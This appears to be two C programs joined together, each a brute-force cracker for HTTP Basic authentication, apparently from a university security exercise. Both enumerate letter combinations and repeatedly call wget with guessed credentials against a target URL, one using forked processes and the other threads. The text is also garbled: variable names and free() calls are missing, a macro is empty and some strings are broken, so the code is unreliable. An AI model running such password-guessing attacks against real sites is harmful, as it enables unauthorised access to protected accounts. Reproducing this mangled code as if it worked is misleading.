


 

#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/wait.h>
#include <signal.h>
#include <sys/signal.h>			  


#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3
#define MAX_CHAR_SET 52
#define NUM_OF_PROCESSES 4

#define TRUE 1
#define FALSE 0










typedef int (*CrackFuncPtr)(const char*, const char*, int);


int pwdFound;
int cDie;


int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func
						, int sCh, int eCh, int id);
char* initPasswdStr(int len, char ch, char headOfChSet);
int getChPos(const char chSet[], int numOfCh, char ch);
int pow(int x, int y);
int crackHTTPAuth(const char *username, const char *passwd, int id);
int myFork(const char chSet[], int numOfCh, int len, CrackFuncPtr func
				, int sCh, int eCh);





void passwdFoundHandler(int signum)
{
	pwdFound = TRUE;
}



void childFinishHandler(int signum)
{
	cDie++;	
}





int main()
{
	char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 
                     'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 
					 'W', 'X', 'Y', 'Z',	
					 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',	
					 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 
					 'w', 'x', 'y', 'z'};
	

	int i;	
	int pid[NUM_OF_PROCESSES];

	pwdFound = FALSE;
	cDie = 0;
	
	for (i=0; i<NUM_OF_PROCESSES; i++)
	{
		pid[i] = myFork(charSet, MAX_CHAR_SET, MAX_PASSWD_LEN, crackHTTPAuth, 
						(((MAX_CHAR_SET /NUM_OF_PROCESSES)*i)+1)-1, 
						(MAX_CHAR_SET /NUM_OF_PROCESSES)*(i+1)-1);
	}

	
	for (;;)
	{
		signal(SIGUSR1, passwdFoundHandler);
		signal(SIGUSR2, childFinishHandler);

		
		if (pwdFound)
		{
			for (i=0; i<4; i++)
			{
				kill((int)pid[i], SIGKILL);
			}
			exit(EXIT_SUCCESS);
		}

		
		if (cDie >= NUM_OF_PROCESSES)
		{
			exit(EXIT_SUCCESS);
		}

	}
	return EXIT_SUCCESS;
}



int myFork(const char chSet[], int numOfCh, int len, CrackFuncPtr func,
				int sCh, int eCh)
{
	int i;
	
	int pid = fork();

	if (pid == 0)
	{
		for (i=1; i<=len; i++)
		{
			if (runBruteForce(chSet, numOfCh, i, func, sCh, eCh, getpid()))
			{	
				
 				if (!kill(getppid(), SIGUSR1))
				{
					printf("Process %d found the password and notified the parent process already", 
									(int)getpid());
				}

				exit(EXIT_SUCCESS);
			}
		}

		
		if (!kill(getppid(), SIGUSR2))
		{
			printf("Process %d could not found the password and notified the parent process already", 
									(int)getpid());
		}
		
		exit(EXIT_SUCCESS);
	}
	else if (pid > 0)
	{
		return pid;
	}
	else
	{
		printf("error\n");
		exit(EXIT_FAILURE);
	}
}



int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func
						, int sCh, int eCh, int id)
{
	int iter; 
	int chIter; 
	int curPos = 0; 
	
	char *str;
	
	int passwdFound = FALSE;
	
	str = initPasswdStr(len, chSet[sCh], chSet[0]);

	printf("\nNow trying %d character(s)\n", len);

	for (iter=0; (iter<pow(numOfCh, (len-1))*(eCh-sCh+1))&&(!passwdFound); iter++)
	{
		for (chIter=len-1; chIter>=0; chIter--)
		{
			if (iter % pow(numOfCh, chIter) == 0) 
			{
				curPos = getChPos(chSet, numOfCh, str[chIter]);
				str[chIter] = chSet[curPos+1];
			}

			if (iter % pow(numOfCh, (chIter+1)) == 0) 
			{
				if (chIter == len-1)
				{
					str[chIter] = chSet[sCh];
				}
				else
				{
					str[chIter] = chSet[0];
				}
			}
		}

		if (func(USERNAME, str, id))
		{
			printf("\nPassword found: %s\n\n", str);
			passwdFound = TRUE;
		}			
	}

	(str);
	str = NULL;
	
	return passwdFound;
}



int getChPos(const char chSet[], int numOfCh, char ch)
{
	int i;
	
	for (i=0; i<numOfCh; i++)
	{
		if (chSet[i] == ch)
		{
			return i;
		}
	}

	return -1;
	
}



char* initPasswdStr(int len, char ch, char headOfChSet)
{
	int i;

	char *str;

	str = malloc(len);

	if (str)
	{
		for (i=0; i<len-1; i++)
		{
			str[i] = headOfChSet;
		}
		str[len-1] = ch;
		str[len] = '\0';
	}
	else
	{
		fprintf(stderr, "\nError: Unable  allocate %d bytes memory.", len);
		exit(EXIT_FAILURE);
	}
	
	return str;
}



int pow(int x, int y)
{
	int ans = 1, i;
	
	for (i=0; i<y; i++)
	{
		ans *= x;
	}

	return ans;
}



int crackHTTPAuth(const char *username, const char *passwd, int id)
{
	char cmd[256];
	struct stat fileInfo;
	char fileToCheck[256];
	
	sprintf(cmd, "wget -O %d -q --http-user=%s --http-passwd=%s --proxy=off %s", 
						id, username, passwd, URL);

	system(cmd);	

	sprintf(fileToCheck, "%d", id);

	(void)stat(fileToCheck, &fileInfo); 
	return fileInfo.st_size;
	
}






#define _REENTRANT
#include <sys/time.h>
#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdarg.h>
#include <unistd.h>
#include <errno.h>
#include <ctype.h>
#include <pthread.h>
#include <signal.h>


#define MAX_THREADS 1000
#define MAX_COMBO 
#define false 0
#define true 1


static char *alphabet="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
static char **combination=NULL;
static char host[128];


pthread_mutex_t counter_lock = PTHREAD_MUTEX_INITIALIZER;
pthread_mutex_t thread_lock = PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t start_hacking = PTHREAD_COND_INITIALIZER;
pthread_cond_t thread_ready = PTHREAD_COND_INITIALIZER;


static int attempt_count=0;
static int combo_entries=0;

static struct timeval ;
static struct timeval stop;
static int thread_ready_indicator=false;
static int thread_start_indicator=false;
static int thread_count=0;


typedef struct range
{
  int ;
  int ;
}range;


void *client(void *arg)
{
  
  int i=0, status=1;
  range *= (struct range*)arg;

  
  char local_buffer[128];

  pthread_mutex_lock(&thread_lock);
  thread_ready_indicator=true;

  
  pthread_cond_signal(&thread_ready);

  
  while(thread_start_indicator==false) pthread_cond_wait(&start_hacking, &thread_lock);
    fflush(stdout);
  pthread_mutex_unlock(&thread_lock);

  
  for(i=->; i<=-> && i<combo_entries; i++)
  {
    
    sprintf(local_buffer,
    "wget -q -C off -o //null -O //null --http-user=%s --http-passwd=%s %s",
    "", combination[i], host);

    
    status=system(local_buffer);
    

    
    if(status==0)
    {
      printf("\n\nusername: \npassword: %s\n\n", combination[i]);
      fflush(stdout);

      
      pthread_mutex_lock(&counter_lock);

        attempt_count++;
        gettimeofday(&stop, NULL);

        printf("About %d attempts were , which took %ld.%ld seconds  complete.\n",
        attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));
        fflush(stdout);

      pthread_mutex_unlock(&counter_lock);

      
      exit(EXIT_SUCCESS);
    }
    else
    {
      
      pthread_mutex_lock(&counter_lock);
        attempt_count++;
      pthread_mutex_unlock(&counter_lock);
    }
  }
  pthread_exit(NULL);
}


char *getNextCombination()
{
  
  static int i=0;
  static int j=0;
  static int k=0;

  static int mode=1;
  char *word;


  

  if(i>51)
  {
    mode++; i=0; j=0; k=0;
  }

  
  if(mode==1)
  {
    char *word = calloc(mode, 1);
    word[0]=alphabet[i++];
    word[1]='\0';
    return word;
  }

  
  if(mode==2)
  {
    if(j>51)
    {
      i++; j=0;
    }

    if(i>51)
    {
      mode++;
      i=0; j=0; j=0;
    }
    else
    {
      char *word = calloc(mode, 1);
      word[0]=alphabet[i];
      word[1]=alphabet[j++];
      word[2]='\0';
      return word;
    }
  }

  
  if(mode==3)
  {
    if(k>51)
    {
      j++; k=0;
    }

    if(j>51)
    {
      i++; j=0;
    }

    if(i>51)
    {
       mode++;
       i=0; j=0; j=0;
     }
     else
     {
       char *word = calloc(mode, 1);
       word[0]=alphabet[i];
       word[1]=alphabet[j];
       word[2]=alphabet[k++];
       word[3]='\0';
       return word;
     }
   }
   return NULL;
}


int main(int argc, char **argv)
{
  
  int wait_status=0, i=0, j=0, num_threads=0;
  int partition=0, prev_min=0, prev_max=0;
  int len=0;
  char *word; range *;
  pthread_t tid[MAX_THREADS];
  int non_alpha_detected=0;

  
  if(argc<3)
  {
    puts("Incorrect usage!");
    puts("./brute num_threads url");
    exit(EXIT_FAILURE);
  }

  
  strcpy(host, argv[2]);

  
  num_threads=atoi(argv[1]);

  
  combination = (char **)calloc(MAX_COMBO, sizeof(char *));

  printf("Process ID for the  thread is: %d\n", getpid());
  printf("Creating brute-force dictionary ... ");
  
  
  while( (word=getNextCombination())!= NULL && i<MAX_COMBO)
  {
    combination[i]=calloc(strlen(word)+1, sizeof(char));
    strcpy(combination[i++], word);
    combo_entries++;
  }
  puts("");
  j=0;

  
  partition=combo_entries/num_threads;

  
  if(partition==0)
  {
    puts("Reducing the number of threads  match the number of words.");
    num_threads=combo_entries;
    partition=1;
  }

  
  prev_min=0;
  prev_max=partition;
  i=0;

  memset(&, 0, sizeof(struct timeval));
  memset(&stop, 0, sizeof(struct timeval));

  
  while(i<num_threads && i<MAX_THREADS)
  {
    
    =malloc(sizeof(struct range));
    ->=prev_min;
    ->=prev_max;

    
    pthread_mutex_lock(&thread_lock);
      thread_ready_indicator=false;
    pthread_mutex_unlock(&thread_lock);

    
    if(pthread_create(&tid[i++], NULL, client, (void *))!=0) puts("Bad thread ...");

    
    pthread_mutex_lock(&thread_lock);
      while(thread_ready_indicator==false) pthread_cond_wait(&thread_ready, &thread_lock);
    pthread_mutex_unlock(&thread_lock);

    
    prev_min+=partition+1;

    
    if(i==num_threads)
    {
      prev_max=combo_entries;
    }
    else
    {
      prev_max+=partition+1;
    }
  }

  
  gettimeofday(&, NULL);

  
  pthread_mutex_lock(&thread_lock);
    thread_start_indicator=true;
  pthread_mutex_unlock(&thread_lock);

  
  pthread_cond_broadcast(&start_hacking);

  
  printf("Created %d threads  process %d passwords\n", num_threads, combo_entries);
  printf("Attacking host: %s\n", host);
  fflush(stdout);

  
  for(i=0; i<num_threads && i<MAX_THREADS; i++)  pthread_join(tid[i], NULL);

  gettimeofday(&stop, NULL);

  
  puts("Could not determine the password for this site.");
  printf("About %d attempts were , which took %ld.%ld seconds  complete.\n",
  attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));
  fflush(stdout);

  
  for(i=0; i<combo_entries; i++) (combination[i]);
  (*combination);

  return EXIT_SUCCESS;
}

